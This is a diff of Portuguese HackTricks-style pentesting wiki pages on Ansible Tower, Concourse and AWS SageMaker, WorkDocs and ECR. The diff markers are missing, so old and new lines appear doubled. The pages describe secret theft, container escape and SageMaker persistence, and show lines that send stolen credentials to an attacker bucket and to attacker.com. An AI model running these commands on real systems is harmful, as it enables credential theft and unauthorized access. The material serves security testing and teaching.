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src/SUMMARY.md
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@@ -227,6 +227,7 @@
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md)
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)

79
src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
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@@ -4,13 +4,13 @@
## Informações Básicas
**Ansible Tower** ou sua versão de código aberto [**AWX**](https://github.com/ansible/awx) também é conhecido como **interface do usuário do Ansible, painel e API REST**. Com **controle de acesso baseado em função**, agendamento de tarefas e gerenciamento gráfico de inventário, você pode gerenciar sua infraestrutura Ansible a partir de uma interface moderna. A API REST do Tower e a interface de linha de comando facilitam a integração com ferramentas e fluxos de trabalho atuais.
**Ansible Tower** ou sua versão de código aberto [**AWX**](https://github.com/ansible/awx) também é conhecido como **interface do usuário do Ansible, painel e API REST**. Com **controle de acesso baseado em funções**, agendamento de tarefas e gerenciamento gráfico de inventário, você pode gerenciar sua infraestrutura Ansible a partir de uma interface moderna. A API REST do Tower e a interface de linha de comando facilitam a integração com ferramentas e fluxos de trabalho atuais.
**O Controlador de Automação é uma versão** mais nova do Ansible Tower com mais capacidades.
### Diferenças
De acordo com [**este**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), as principais diferenças entre Ansible Tower e AWX são o suporte recebido e o Ansible Tower possui recursos adicionais, como controle de acesso baseado em função, suporte para APIs personalizadas e fluxos de trabalho definidos pelo usuário.
De acordo com [**este**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), as principais diferenças entre Ansible Tower e AWX são o suporte recebido e o Ansible Tower possui recursos adicionais, como controle de acesso baseado em funções, suporte para APIs personalizadas e fluxos de trabalho definidos pelo usuário.
### Stack Tecnológico
@@ -33,9 +33,9 @@ De acordo com [**este**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-
### Fluxo de Execução de Tarefas
1. **Interação do Usuário**: Um usuário pode interagir com AWX/Tower através da **Interface Web** ou da **API REST**. Essas fornecem acesso frontal a todas as funcionalidades oferecidas pelo AWX/Tower.
1. **Interação do Usuário**: Um usuário pode interagir com AWX/Tower através da **Interface Web** ou da **API REST**. Estas fornecem acesso frontal a todas as funcionalidades oferecidas pelo AWX/Tower.
2. **Iniciação da Tarefa**:
- O usuário, via Interface Web ou API, inicia uma tarefa com base em um **Modelo de Tarefa**.
- O usuário, através da Interface Web ou API, inicia uma tarefa com base em um **Modelo de Tarefa**.
- O Modelo de Tarefa inclui referências ao **Inventário**, **Projeto** (contendo o playbook) e **Credenciais**.
- Após a iniciação da tarefa, uma solicitação é enviada ao backend do AWX/Tower para colocar a tarefa na fila para execução.
3. **Fila de Tarefas**:
@@ -48,7 +48,7 @@ De acordo com [**este**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-
5. **Resultados da Tarefa**:
- Uma vez que o playbook termina de ser executado, os resultados (sucesso, falha, logs) são salvos no **Banco de Dados**.
- Os usuários podem então visualizar os resultados através da Interface Web ou consultá-los via API REST.
- Com base nos resultados das tarefas, **Notificações** podem ser despachadas para informar usuários ou sistemas externos sobre o status da tarefa. As notificações podem ser e-mails, mensagens do Slack, webhooks, etc.
- Com base nos resultados das tarefas, **Notificações** podem ser enviadas para informar usuários ou sistemas externos sobre o status da tarefa. As notificações podem ser e-mails, mensagens do Slack, webhooks, etc.
6. **Integração com Sistemas Externos**:
- **Inventários** podem ser dinamicamente obtidos de sistemas externos, permitindo que o AWX/Tower puxe hosts de fontes como AWS, Azure, VMware e mais.
- **Projetos** (playbooks) podem ser buscados de sistemas de controle de versão, garantindo o uso de playbooks atualizados durante a execução da tarefa.
@@ -88,7 +88,7 @@ docker exec tools_awx_1 awx-manage create_preload_data
A função mais privilegiada é chamada de **Administrador do Sistema**. Qualquer pessoa com essa função pode **modificar qualquer coisa**.
De uma revisão de **segurança de caixa branca**, você precisaria da função **Auditor do Sistema**, que permite **visualizar todos os dados do sistema**, mas não pode fazer nenhuma alteração. Outra opção seria obter a função **Auditor da Organização**, mas seria melhor obter a outra.
De uma revisão de **segurança de caixa branca**, você precisaria da **função de Auditor do Sistema**, que permite **visualizar todos os dados do sistema**, mas não pode fazer alterações. Outra opção seria obter a **função de Auditor da Organização**, mas seria melhor obter a outra.
<details>
@@ -134,4 +134,71 @@ De uma revisão de **segurança de caixa branca**, você precisaria da função
</details>
## Enumeração & Mapeamento de Caminho de Ataque com AnsibleHound
`AnsibleHound` é um coletor BloodHound *OpenGraph* de código aberto escrito em Go que transforma um token de API do Ansible Tower/AWX/Automation Controller **somente leitura** em um gráfico de permissões completo pronto para ser analisado dentro do BloodHound (ou BloodHound Enterprise).
### Por que isso é útil?
1. A API REST do Tower/AWX é extremamente rica e expõe **cada objeto e relacionamento RBAC** que sua instância conhece.
2. Mesmo com o token de menor privilégio (**Ler**), é possível enumerar recursivamente todos os recursos acessíveis (organizações, inventários, hosts, credenciais, projetos, modelos de trabalho, usuários, equipes…).
3. Quando os dados brutos são convertidos para o esquema do BloodHound, você obtém as mesmas capacidades de visualização de *caminho de ataque* que são tão populares em avaliações do Active Directory – mas agora direcionadas à sua infraestrutura de CI/CD.
As equipes de segurança (e atacantes!) podem, portanto:
* Compreender rapidamente **quem pode se tornar admin de quê**.
* Identificar **credenciais ou hosts que são acessíveis** a partir de uma conta não privilegiada.
* Encadear múltiplas arestas “Ler ➜ Usar ➜ Executar ➜ Admin” para obter controle total sobre a instância do Tower ou a infraestrutura subjacente.
### Pré-requisitos
* Ansible Tower / AWX / Automation Controller acessível via HTTPS.
* Um token de API de usuário com escopo **Ler** apenas (criado a partir de *Detalhes do Usuário → Tokens → Criar Token → escopo = Ler*).
* Go ≥ 1.20 para compilar o coletor (ou use os binários pré-compilados).
### Construindo & Executando
```bash
# Compile the collector
cd collector
go build . -o build/ansiblehound
# Execute against the target instance
./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN"
```
Internamente, o AnsibleHound realiza requisições `GET` *paginated* contra (pelo menos) os seguintes endpoints e segue automaticamente os links `related` retornados em cada objeto JSON:
```
/api/v2/organizations/
/api/v2/inventories/
/api/v2/hosts/
/api/v2/job_templates/
/api/v2/projects/
/api/v2/credentials/
/api/v2/users/
/api/v2/teams/
```
Todos os arquivos coletados são mesclados em um único arquivo JSON no disco (padrão: `ansiblehound-output.json`).
### Transformação BloodHound
Os dados brutos do Tower são então **transformados para BloodHound OpenGraph** usando nós personalizados prefixados com `AT` (Ansible Tower):
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
E arestas modelando relacionamentos / privilégios:
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
O resultado pode ser importado diretamente para o BloodHound:
```bash
neo4j stop # if BloodHound CE is running locally
bloodhound-import ansiblehound-output.json
```
Opcionalmente, você pode fazer upload de **ícones personalizados** para que os novos tipos de nó sejam visualmente distintos:
```bash
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
```
### Considerações Defensivas e Ofensivas
* Um token *Read* é normalmente considerado inofensivo, mas ainda vaza a **topologia completa e todos os metadados de credenciais**. Trate-o como sensível!
* Imponha **menor privilégio** e gire / revogue tokens não utilizados.
* Monitore a API para enumeração excessiva (múltiplas requisições `GET` sequenciais, alta atividade de paginação).
* Do ponto de vista de um atacante, esta é uma técnica perfeita de *ponto de apoio inicial → escalonamento de privilégios* dentro do pipeline CI/CD.
## Referências
* [AnsibleHound – Coletor BloodHound para Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
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8
src/pentesting-ci-cd/concourse-security/concourse-architecture.md
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@@ -1,9 +1,9 @@
# Arquitetura do Concourse
## Arquitetura do Concourse
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## Arquitetura do Concourse
[**Dados relevantes da documentação do Concourse:**](https://concourse-ci.org/internals.html)
### Arquitetura
@@ -20,9 +20,9 @@ A responsabilidade do [checker](https://concourse-ci.org/checker.html) é verifi
A TSA é um **servidor SSH personalizado** que é usado exclusivamente para **registrar** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) com o [ATC](https://concourse-ci.org/internals.html#component-atc).
A TSA por **padrão escuta na porta `2222`**, e geralmente está colocada junto com o [ATC](https://concourse-ci.org/internals.html#component-atc) e atrás de um balanceador de carga.
A TSA, por **padrão, escuta na porta `2222`**, e geralmente está colocada junto com o [ATC](https://concourse-ci.org/internals.html#component-atc) e atrás de um balanceador de carga.
A **TSA implementa CLI sobre a conexão SSH,** suportando [**estes comandos**](https://concourse-ci.org/internals.html#component-tsa).
A **TSA implementa CLI sobre a conexão SSH,** suportando [**esses comandos**](https://concourse-ci.org/internals.html#component-tsa).
#### Workers

44
src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
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@@ -1,34 +1,34 @@
# Concourse Enumeração & Ataques
## Concourse Enumeração & Ataques
# Concourse Enumeration & Attacks
{{#include ../../banners/hacktricks-training.md}}
### Funções de Usuário & Permissões
## Concourse Enumeration & Attacks
Concourse vem com cinco funções:
### User Roles & Permissions
- _Concourse_ **Admin**: Esta função é dada apenas aos proprietários da **equipe principal** (equipe inicial padrão do concourse). Os administradores podem **configurar outras equipes** (por exemplo: `fly set-team`, `fly destroy-team`...). As permissões desta função não podem ser afetadas pelo RBAC.
Concourse vem com cinco papéis:
- _Concourse_ **Admin**: Este papel é concedido apenas aos proprietários da **equipe principal** (equipe inicial padrão do concourse). Os administradores podem **configurar outras equipes** (por exemplo: `fly set-team`, `fly destroy-team`...). As permissões deste papel não podem ser afetadas pelo RBAC.
- **owner**: Os proprietários da equipe podem **modificar tudo dentro da equipe**.
- **member**: Os membros da equipe podem **ler e escrever** dentro dos **ativos da equipe**, mas não podem modificar as configurações da equipe.
- **pipeline-operator**: Os operadores de pipeline podem realizar **operações de pipeline** como acionar builds e fixar recursos, no entanto, não podem atualizar as configurações do pipeline.
- **viewer**: Os visualizadores da equipe têm acesso **"somente leitura" a uma equipe** e seus pipelines.
> [!NOTE]
> Além disso, as **permissões das funções owner, member, pipeline-operator e viewer podem ser modificadas** configurando o RBAC (configurando mais especificamente suas ações). Leia mais sobre isso em: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
> Além disso, as **permissões dos papéis owner, member, pipeline-operator e viewer podem ser modificadas** configurando o RBAC (configurando mais especificamente suas ações). Leia mais sobre isso em: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
Note que o Concourse **agrupa pipelines dentro de Equipes**. Portanto, usuários pertencentes a uma Equipe poderão gerenciar esses pipelines e **várias Equipes** podem existir. Um usuário pode pertencer a várias Equipes e ter permissões diferentes dentro de cada uma delas.
### Vars & Gerenciador de Credenciais
### Vars & Credential Manager
Nos configs YAML, você pode configurar valores usando a sintaxe `((_source-name_:_secret-path_._secret-field_))`.\
[Das docs:](https://concourse-ci.org/vars.html#var-syntax) O **source-name é opcional**, e se omitido, o [gerenciador de credenciais em cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) será usado, ou o valor pode ser fornecido [estaticamente](https://concourse-ci.org/vars.html#static-vars).\
O **campo \_secret-field**\_ opcional especifica um campo no segredo buscado para leitura. Se omitido, o gerenciador de credenciais pode optar por ler um 'campo padrão' do credencial buscado, se o campo existir.\
[Da documentação:](https://concourse-ci.org/vars.html#var-syntax) O **source-name é opcional**, e se omitido, o [gerenciador de credenciais em todo o cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) será usado, ou o valor pode ser fornecido [estaticamente](https://concourse-ci.org/vars.html#static-vars).\
O **_secret-field opcional**\_ especifica um campo no segredo buscado para leitura. Se omitido, o gerenciador de credenciais pode optar por ler um 'campo padrão' da credencial buscada, se o campo existir.\
Além disso, o _**secret-path**_ e _**secret-field**_ podem ser cercados por aspas duplas `"..."` se contiverem **caracteres especiais** como `.` e `:`. Por exemplo, `((source:"my.secret"."field:1"))` definirá o _secret-path_ como `my.secret` e o _secret-field_ como `field:1`.
#### Vars Estáticas
#### Static Vars
Vars estáticas podem ser especificadas em **etapas de tarefas**:
Variáveis estáticas podem ser especificadas em **etapas de tarefas**:
```yaml
- task: unit-1.13
file: booklit/ci/unit.yml
@@ -39,7 +39,7 @@ Ou usando os seguintes `fly` **argumentos**:
- `-v` ou `--var` `NAME=VALUE` define a string `VALUE` como o valor para a var `NAME`.
- `-y` ou `--yaml-var` `NAME=VALUE` analisa `VALUE` como YAML e define como o valor para a var `NAME`.
- `-i` ou `--instance-var` `NAME=VALUE` analisa `VALUE` como YAML e define como o valor para a var de instância `NAME`. Veja [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) para saber mais sobre vars de instância.
- `-l` ou `--load-vars-from` `FILE` carrega `FILE`, um documento YAML contendo mapeamento de nomes de vars para valores, e define todos eles.
- `-l` ou `--load-vars-from` `FILE` carrega `FILE`, um documento YAML contendo a correspondência de nomes de var para valores, e define todos eles.
#### Gerenciamento de Credenciais
@@ -57,11 +57,11 @@ Além disso, o Concourse suporta diferentes gerenciadores de credenciais:
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
> Note que se você tiver algum tipo de **acesso de escrita ao Concourse** você pode criar jobs para **exfiltrar esses segredos** já que o Concourse precisa ser capaz de acessá-los.
> Note que se você tiver algum tipo de **acesso de escrita ao Concourse**, pode criar jobs para **exfiltrar esses segredos**, pois o Concourse precisa ser capaz de acessá-los.
### Enumeração do Concourse
Para enumerar um ambiente do concourse, você primeiro precisa **coletar credenciais válidas** ou encontrar um **token autenticado** provavelmente em um arquivo de configuração `.flyrc`.
Para enumerar um ambiente do concourse, você primeiro precisa **coletar credenciais válidas** ou encontrar um **token autenticado**, provavelmente em um arquivo de configuração `.flyrc`.
#### Login e enumeração do Usuário Atual
@@ -75,9 +75,9 @@ Para enumerar um ambiente do concourse, você primeiro precisa **coletar credenc
- `fly -t <target> userinfo`
> [!NOTE]
> Note que o **token da API** é **salvo** em `$HOME/.flyrc` por padrão, você, ao invadir uma máquina, pode encontrar lá as credenciais.
> Note que o **token da API** é **salvo** em `$HOME/.flyrc` por padrão, ao invadir uma máquina você pode encontrar lá as credenciais.
#### Equipes & Usuários
#### Equipes e Usuários
- Obter uma lista das Equipes
- `fly -t <target> teams`
@@ -129,7 +129,7 @@ Na seção anterior, vimos como você pode **obter todos os nomes e variáveis d
#### Sessão dentro de um container em execução ou recentemente executado
Se você tiver privilégios suficientes (**papel de membro ou mais**) você poderá **listar pipelines e papéis** e apenas obter uma **sessão dentro** do **container** `<pipeline>/<job>` usando:
Se você tiver privilégios suficientes (**papel de membro ou mais**) você poderá **listar pipelines e papéis** e apenas obter uma **sessão dentro** do `<pipeline>/<job>` **container** usando:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
@@ -171,7 +171,7 @@ Com a **modificação/criação** de um novo pipeline, você poderá:
- **Roubar** os **segredos** (via ecoando-os ou entrando no contêiner e executando `env`)
- **Escapar** para o **nó** (dando a você privilégios suficientes - `privileged: true`)
- Enumerar/Abusar do endpoint de **metadados da nuvem** (do pod e do nó)
- **Excluir** o pipeline criado
- **Deletar** o pipeline criado
#### Executar Tarefa Personalizada
@@ -334,7 +334,7 @@ select * from users;
Por padrão, cada trabalhador do concourse estará executando um serviço [**Garden**](https://github.com/cloudfoundry/garden) na porta 7777. Este serviço é usado pelo Web master para indicar ao trabalhador **o que ele precisa executar** (baixar a imagem e executar cada tarefa). Isso soa muito bem para um atacante, mas há algumas boas proteções:
- Está **exposto apenas localmente** (127..0.0.1) e eu acho que quando o trabalhador se autentica contra o Web com o serviço SSH especial, um túnel é criado para que o servidor web possa **conversar com cada serviço Garden** dentro de cada trabalhador.
- Está apenas **exposto localmente** (127..0.0.1) e eu acho que quando o trabalhador se autentica contra o Web com o serviço SSH especial, um túnel é criado para que o servidor web possa **conversar com cada serviço Garden** dentro de cada trabalhador.
- O servidor web está **monitorando os contêineres em execução a cada poucos segundos**, e contêineres **inesperados** são **deletados**. Portanto, se você quiser **executar um contêiner personalizado**, precisará **interferir** na **comunicação** entre o servidor web e o serviço garden.
Os trabalhadores do Concourse são executados com altos privilégios de contêiner:
@@ -353,7 +353,7 @@ No entanto, técnicas como **montar** o dispositivo /dev do nó ou release_agent
> [!NOTE]
> Na seção anterior, vimos como escapar de um contêiner privilegiado, então se pudermos **executar** comandos em um **contêiner privilegiado** criado pelo **trabalhador** **atual**, poderíamos **escapar para o nó**.
Note que ao brincar com o concourse, percebi que quando um novo contêiner é gerado para executar algo, os processos do contêiner são acessíveis a partir do contêiner trabalhador, então é como se um contêiner estivesse criando um novo contêiner dentro dele.
Note que ao brincar com o concourse, percebi que quando um novo contêiner é gerado para executar algo, os processos do contêiner são acessíveis a partir do contêiner do trabalhador, então é como um contêiner criando um novo contêiner dentro dele.
**Entrando em um contêiner privilegiado em execução**
```bash
@@ -411,6 +411,6 @@ Accept-Encoding: gzip.
```
## Referências
- https://concourse-ci.org/vars.html
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
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4
src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
View File

@@ -1 +1,3 @@
# Gh Actions - Poisonamento de Artefatos
# Gh Actions - Artifact Poisoning
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4
src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
View File

@@ -1 +1,3 @@
# GH Actions - Envenenamento de Cache
# GH Actions - Cache Poisoning
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
View File

@@ -1 +1,3 @@
# Gh Actions - Injeções de Script de Contexto
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/aws-security/aws-persistence/README.md
View File

@@ -1 +1,3 @@
# AWS - Persistência
{{#include ../../../banners/hacktricks-training.md}}

18
src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
View File

@@ -1,8 +1,10 @@
# AWS - SageMaker Lifecycle Configuration Persistence
# Aws Sagemaker Persistence
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## Visão Geral das Técnicas de Persistência
Esta seção descreve métodos para obter persistência no SageMaker abusando das Configurações de Ciclo de Vida (LCCs), incluindo shells reversos, jobs cron, roubo de credenciais via IMDS e backdoors SSH. Esses scripts são executados com o papel IAM da instância e podem persistir entre reinicializações. A maioria das técnicas requer acesso à rede de saída, mas o uso de serviços no plano de controle da AWS ainda pode permitir sucesso se o ambiente estiver no modo 'apenas VPC'.
Esta seção descreve métodos para obter persistência no SageMaker abusando das Configurações de Ciclo de Vida (LCCs), incluindo shells reversos, jobs cron, roubo de credenciais via IMDS e backdoors SSH. Esses scripts são executados com o papel IAM da instância e podem persistir entre reinicializações. A maioria das técnicas requer acesso à rede de saída, mas o uso de serviços no plano de controle da AWS ainda pode permitir sucesso se o ambiente estiver no modo "apenas VPC".
#### Nota: As instâncias de notebook do SageMaker são essencialmente instâncias EC2 gerenciadas configuradas especificamente para cargas de trabalho de aprendizado de máquina.
## Permissões Necessárias
@@ -70,9 +72,9 @@ aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --s
}
}'
```
## Tipos de Configurações de Ciclo de Vida do Aplicativo Studio
## Tipos de Configurações de Ciclo de Vida de Aplicativos do Studio
As configurações de ciclo de vida podem ser aplicadas especificamente a diferentes tipos de aplicativos SageMaker Studio:
As configurações de ciclo de vida podem ser aplicadas especificamente a diferentes tipos de aplicativos do SageMaker Studio:
* JupyterServer: Executa scripts durante a inicialização do servidor Jupyter, ideal para mecanismos de persistência como shells reversos e jobs cron.
* KernelGateway: Executa durante o lançamento do aplicativo de gateway de kernel, útil para configuração inicial ou acesso persistente.
* CodeEditor: Aplica-se ao Editor de Código (Code-OSS), permitindo scripts que são executados no início das sessões de edição de código.
@@ -102,12 +104,12 @@ aws sagemaker create-studio-lifecycle-config \
```
### Informações Críticas:
* Anexar LCCs no nível de domínio ou espaço impacta todos os usuários ou aplicativos dentro do escopo.
* Requer permissões mais altas (sagemaker:UpdateDomain, sagemaker:UpdateSpace) tipicamente mais viáveis no nível de espaço do que no nível de domínio.
* Controles em nível de rede (por exemplo, filtragem de egress estrita) podem prevenir shells reversos bem-sucedidos ou exfiltração de dados.
* Requer permissões mais altas (sagemaker:UpdateDomain, sagemaker:UpdateSpace) que geralmente são mais viáveis no nível de espaço do que no nível de domínio.
* Controles em nível de rede (por exemplo, filtragem de egressos rigorosa) podem impedir shells reversos bem-sucedidos ou exfiltração de dados.
## Shell Reverso via Configuração de Ciclo de Vida
As Configurações de Ciclo de Vida do SageMaker (LCCs) executam scripts personalizados quando as instâncias de notebook iniciam. Um atacante com permissões pode estabelecer um shell reverso persistente.
As Configurações de Ciclo de Vida do SageMaker (LCCs) executam scripts personalizados quando as instâncias de notebook são iniciadas. Um atacante com permissões pode estabelecer um shell reverso persistente.
### Exemplo de Payload:
```
@@ -153,4 +155,4 @@ aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```
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2
src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
View File

@@ -1 +1,3 @@
# AWS - Pós Exploração
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3
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
View File

@@ -30,8 +30,9 @@ No entanto, um **bypass** foi identificado onde um atacante com permissões sufi
5. Retorne às Descobertas do AWS Macie, acesse a descoberta original e clique em **Reveal Sample** novamente.
6. Observe que o Macie ainda revela o segredo original, apesar do arquivo ter sido excluído e substituído por conteúdo diferente **de contas diferentes, neste caso será a conta do atacante**.
6. Observe que o Macie ainda revela o segredo original, apesar do arquivo ter sido excluído e substituído por conteúdo diferente **de contas diferentes, no nosso caso será a conta do atacante**.
**Resumo:**
Essa vulnerabilidade permite que um atacante com permissões suficientes do AWS IAM recupere segredos detectados anteriormente, mesmo após o arquivo original ter sido excluído do S3. Se uma chave secreta da AWS, token de acesso ou outra credencial sensível for exposta, um atacante pode explorar essa falha para recuperá-la e obter acesso não autorizado aos recursos da AWS. Isso pode levar a escalonamento de privilégios, acesso não autorizado a dados ou comprometimento adicional de ativos em nuvem, resultando em vazamentos de dados e interrupções de serviço.
{{#include ../../../banners/hacktricks-training.md}}

10
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
View File

@@ -1,8 +1,10 @@
# AWS - Sagemaker Privesc
{{#include ../../../banners/hacktricks-training.md}}
## AWS - Sagemaker Privesc
{{#include ../../../banners/hacktricks-training.md}}
### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
@@ -17,7 +19,7 @@ A resposta deve conter um campo `NotebookInstanceArn`, que conterá o ARN da nov
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
Navegue até a URL com o navegador e clique em \`Open JupyterLab\` no canto superior direito, depois role para baixo até a aba “Launcher” e, na seção “Other”, clique no botão “Terminal”.
Navegue até a URL com o navegador e clique em \`Open JupyterLab\` no canto superior direito, depois role para baixo até a aba “Launcher” e na seção “Other”, clique no botão “Terminal”.
Agora é possível acessar as credenciais de metadados da IAM Role.
@@ -71,7 +73,7 @@ Um atacante com essas permissões será capaz de criar um trabalho de treinament
> cd /tmp/rev
> sudo docker build . -t reverseshell
>
> # Enviar para o ECR
> # Enviá-lo para ECR
> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
@@ -95,7 +97,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Um atacante com essas permissões poderá (potencialmente) criar um **trabalho de treinamento de hiperparâmetros**, **executando um contêiner arbitrário** nele com um **papel anexado**.\
_Eu não explorei devido à falta de tempo, mas parece semelhante às explorações anteriores, sinta-se à vontade para enviar um PR com os detalhes da exploração._
_Eu não explorei devido à falta de tempo, mas parece semelhante aos exploits anteriores, sinta-se à vontade para enviar um PR com os detalhes da exploração._
## Referências

11
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
View File

@@ -1,5 +1,7 @@
# AWS - WorkDocs Privesc
{{#include ../../../banners/hacktricks-training.md}}
## WorkDocs
Para mais informações sobre WorkDocs, consulte:
@@ -15,7 +17,7 @@ Crie um usuário dentro do Diretório indicado, então você terá acesso tanto
# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
```
### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`
### `workdocs:GetDocument`, `(workdocs:DescribeActivities)`
Os arquivos podem conter informações sensíveis, leia-os:
```bash
@@ -38,9 +40,14 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
```
### `workdocs:AddUserToGroup`
Você pode tornar um usuário administrador colocando-o no grupo ZOCALO_ADMIN.\
Você pode tornar um usuário administrador configurando-o no grupo ZOCALO_ADMIN.\
Para isso, siga as instruções em [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
Faça login com esse usuário no workdoc e acesse o painel de administração em `/workdocs/index.html#/admin`
Não encontrei nenhuma maneira de fazer isso pelo cli.
{{#include ../../../banners/hacktricks-training.md}}

44
src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
View File

@@ -1,53 +1,51 @@
# AWS - ECR Enum
## AWS - ECR Enum
{{#include ../../../banners/hacktricks-training.md}}
### ECR
## ECR
#### Informações Básicas
### Informações Básicas
Amazon **Elastic Container Registry** (Amazon ECR) é um **serviço gerenciado de registro de imagens de contêiner**. Ele foi projetado para fornecer um ambiente onde os clientes podem interagir com suas imagens de contêiner usando interfaces bem conhecidas. Especificamente, o uso do Docker CLI ou de qualquer cliente preferido é suportado, permitindo atividades como envio, recebimento e gerenciamento de imagens de contêiner.
Amazon **Elastic Container Registry** (Amazon ECR) é um **serviço gerenciado de registro de imagens de contêiner**. Ele foi projetado para fornecer um ambiente onde os clientes podem interagir com suas imagens de contêiner usando interfaces bem conhecidas. Especificamente, o uso do Docker CLI ou de qualquer cliente preferido é suportado, permitindo atividades como enviar, puxar e gerenciar imagens de contêiner.
ECR é composto por 2 tipos de objetos: **Registros** e **Repositórios**.
O ECR é composto por 2 tipos de objetos: **Registries** e **Repositories**.
**Registros**
**Registries**
Cada conta AWS possui 2 registros: **Privado** e **Público**.
Toda conta AWS possui 2 registries: **Privado** e **Público**.
1. **Registros Privados**:
1. **Registries Privados**:
- **Privado por padrão**: As imagens de contêiner armazenadas em um registro privado do Amazon ECR são **acessíveis apenas a usuários autorizados** dentro da sua conta AWS ou àqueles que receberam permissão.
- O URI de um **repositório privado** segue o formato `<account_id>.dkr.ecr.<region>.amazonaws.com/<repo-name>`
- **Controle de acesso**: Você pode **controlar o acesso** às suas imagens de contêiner privadas usando **políticas IAM**, e pode configurar permissões detalhadas com base em usuários ou funções.
- **Integração com serviços AWS**: Registros privados do Amazon ECR podem ser facilmente **integrados com outros serviços AWS**, como EKS, ECS...
- **Outras opções de registro privado**:
- **Integração com serviços AWS**: Registries privadas do Amazon ECR podem ser facilmente **integradas com outros serviços AWS**, como EKS, ECS...
- **Outras opções de registries privadas**:
- A coluna de imutabilidade de tags lista seu status, se a imutabilidade de tags estiver habilitada, isso **impedirá** que **envios** de imagens com **tags pré-existentes** sobrescrevam as imagens.
- A coluna de **Tipo de Criptografia** lista as propriedades de criptografia do repositório, mostrando os tipos de criptografia padrão, como AES-256, ou criptografias com **KMS** habilitadas.
- A coluna de **Cache de Pull** lista seu status, se o status do Cache de Pull estiver Ativo, ele irá armazenar em cache **repositórios em um repositório público externo em seu repositório privado**.
- A coluna de **tipo de criptografia** lista as propriedades de criptografia do repositório, mostrando os tipos de criptografia padrão, como AES-256, ou criptografias com **KMS** habilitadas.
- A coluna de **cache de pull** lista seu status, se o status de cache de pull estiver Ativo, ele irá armazenar em cache **repositórios em um repositório público externo em seu repositório privado**.
- Políticas **IAM específicas** podem ser configuradas para conceder diferentes **permissões**.
- A **configuração de varredura** permite escanear em busca de vulnerabilidades nas imagens armazenadas dentro do repositório.
2. **Registros Públicos**:
2. **Registries Públicos**:
- **Acessibilidade pública**: Imagens de contêiner armazenadas em um registro Público do ECR são **acessíveis a qualquer pessoa na internet sem autenticação.**
- **Acessibilidade pública**: Imagens de contêiner armazenadas em um registro público do ECR são **acessíveis a qualquer pessoa na internet sem autenticação.**
- O URI de um **repositório público** é como `public.ecr.aws/<random>/<name>`. Embora a parte `<random>` possa ser alterada pelo administrador para outra string mais fácil de lembrar.
**Repositórios**
**Repositories**
Estas são as **imagens** que estão no **registro privado** ou no **público**.
> [!NOTE]
